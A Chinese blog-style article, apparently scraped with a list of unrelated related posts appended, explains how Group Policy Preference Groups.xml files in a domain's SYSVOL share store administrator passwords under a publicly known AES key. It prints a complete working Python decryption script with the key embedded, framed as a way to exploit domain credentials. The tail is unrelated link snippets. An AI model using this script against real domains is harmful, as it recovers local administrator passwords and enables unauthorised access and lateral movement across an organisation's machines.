利用域凭据:解密GPP中的管理员密码
在利用域凭据过程中,除了通过Mimikatz和WCE从内存读取明文密码外,还可以通过域共享文件夹SYSVOL组策略文件获取哈希码。
组策略首选项(Group Policy Preference, GPP)借助组策略对象(Group Policy Object, GPO)实现了对域中所有资源的管理。
这大大简化了系统管理工作。然而GPP有一个特殊的功能,它可以指定某个计算机的某个域账户为域中所有的本地计算机管理账户。为什么有些人会使用这个功能呢?原因或许是他们就是想在所有计算机上指定某个新管理员,或许他们就是想在每台主机上更新本地账户的密码。一旦管理员使用了这个机制更新了GPO,那么所有的工作站将会拥有这个账户。在GPP的域环境下,这个账户的信息存储在域里,而且所有的AD用户都可以读取它。
通过GPP发布的账户信息全部存储在\[Domain Controller]\SYSVOL[Domain]\Policies中。其中的Groups.xml文件中就有cpassword的哈希值。有关字段的具体内容大致如下:
<Properties action=”U” userDSN=”0” dsn=”test” driver=”SQL Server” description=”test data source”username=”testusername” cpassword=”AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7OltPD8tLk”/>
Cpassword变量采取了AES的加密算法,微软已经公开了它的对称AES密钥。在加密密钥已知的情况下,我们就可以破解GPP中本地管理员账户的密码。Metasploit的POST模块以及支持这种破解功能。下面是python代码的实现:
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#
import sys
from Crypto.Cipher import AES
from base64 import b64decode
if(len(sys.argv) != 2):
print "Usage: gpprefdecrypt.py <cpassword>"
sys.exit(0)
# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
# Add padding to the base64 string and decode it
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
# Decrypt the password
o = AES.new(key, AES.MODE_CBC).decrypt(password)
# Print it
print o[:-ord(o[-1])].decode('utf16')
引用: http://pastebin.com/TE3fvhEh
来源:http://www.rootat.net/2015/08/13/GPPcpassword/
利用域凭据:解密GPP中的管理员密码的更多相关文章
- 如何重置Sitecore CMS中的管理员密码
在Sitecore项目上工作时,有时管理员凭据会丢失或损坏.在这些情况下,重新获得快速访问权限以便不中断开发非常重要. 对Core数据库运行以下查询,您将能够admin/b再次使用以下命令登录Site ...
- 利用PPPOE认证获取路由器中宽带账号密码
前言 回家时买了一台极路由准备换掉家里老掉牙的阿里路由器,想进后台看一下宽带账号密码,咦???后台密码是什么来着??? 我陷入了沉思,家里的路由器一般都是pppoe拨号,而路由器在与pppoe认证服务 ...
- mantis2.22.1中添加管理员密码修改框
1.修改文件 mantis/manage_user_edit_page.php 找到<!-- Email -->位置,将以下代码粘贴到下面即可:<tr <?php echo h ...
- 在oracle中创建管理员密码
1.因为在安装Oracle11g时没有设置sys和system用户的密码,导致登陆不上SQLplus,后面用sqlplus / as sysdba ,密码为:root登陆上去创建了密码. 2.如下图
- Windows 2003】利用域&&组策略自动部署软件
Windows 2003]利用域&&组策略自动部署软件 转自 http://hi.baidu.com/qu6zhi/item/4c0fa100dc768613cc34ead0 ==== ...
- windows server 2012 AD 活动目录部署加入域并创建域用户(寻找视频课程)(计算机加入域其实是本计算机的管理员账号(本机名)加入域,关联账号即可在已经加入域的计算机上面登录)
windows server 2012 AD 活动目录部署加入域并创建域用户(寻找视频课程)(计算机加入域其实是本计算机的管理员账号(本机名)加入域,关联账号即可在已经加入域的计算机上面登录) 一.总 ...
- Runas命令:能让域用户/普通User用户以管理员身份运行指定程序。
注:本文由Colin撰写,版权所有!转载请注明原文地址,谢谢合作! 在某些情况下,为了安全起见,大部分公司都会使用域控制器或只会给员工电脑user的用户权限,这样做能大大提高安全性和可控性,但由此也带 ...
- Ajax跨域原理及JQuery中的实现
浅析Ajax跨域原理及JQuery中的实现分析 AJAX 的出现使得网页可以通过在后台与服务器进行少量数据交换,实现网页的局部刷新.但是出于安全的考虑,ajax不允许跨域通信.如果尝试从不同的域请 ...
- C# 利用占位符替换word中的字符串和添加图片
利用占位符替换word中的字符串和添加图片 ///<summary> /// 替换word模板文件内容,包括表格中内容 /// 调用如下:WordStr ...
随机推荐
- [Web 前端] 031 bootstrap 的使用和全局 css 样式
目录 0. 前言 1. 基本模板 2. 布局容器 2.1 container 2.2 container-fluid 3. 栅格系统 3.1 简介 3.2 栅格参数 3.3 实例:从堆叠到水平排列 2 ...
- Linux 查看CPU 核数 还有 CPU 个数的命令
cat /proc/cpuinfo | grep 'physical id' | sort | uniq | wc -l 个数 cat /proc/cpuinfo | grep 'process' | ...
- webpack e6转化成es5 配置方法
方法一: https://www.babeljs.cn/setup#installation 按照babel官方的配置配 方法二: https://www.jianshu.com/p/ce28cedd ...
- C++代码审查
C++代码审查 1. 目的与要求 寻找结对编程伙伴,并练习结对编程: 对同伴的作品进行代码复审,设计审查表并填写: 评价同伴的代码,介绍同伴的优缺点. 2. 复审代码 小伙伴李宏达的项目代码与博客地址 ...
- python常量 (最全常量解析)
常量 一.常量 变量是变化的量,常量则是不变的量.python中没有使用语法强制定义常量,也就是说,python中定义常量本质上就是变量.如果非要定义常量,变量名必须全大写. AGE_OF_NICK ...
- STL 之 queue
默认容器为双端队列deque 常用的函数有: empty Test whether container is empty (public member function ) size Return s ...
- java程序员究竟应该掌握点什么
JAVA程序设计(基础部分) JAVA程序设计(专题)
- 牛客练习赛14 B 区间的连续段 (倍增)
链接:https://ac.nowcoder.com/acm/contest/82/B来源:牛客网 区间的连续段 时间限制:C/C++ 7秒,其他语言14秒 空间限制:C/C++ 262144K,其他 ...
- SubwayPlan
GitHub:https://github.com/wakerh1/subwayBJ 北京地铁图片: 地铁出行路线规划项目需求及实现概要: 1.设计一种文件格式用于存储地铁信息 2.设计启动程序并读取 ...
- Jmeter性能测试结果分析:响应时间为什么是下降的趋势?
测试图数据库:边的插入,递增并发量,6000并发平均响应时间比7000的并发的平均响应时间还要大? 7000并发的99%用户响应时间是70.99,平均响应时间怎么就是38.59了? 一共两 ...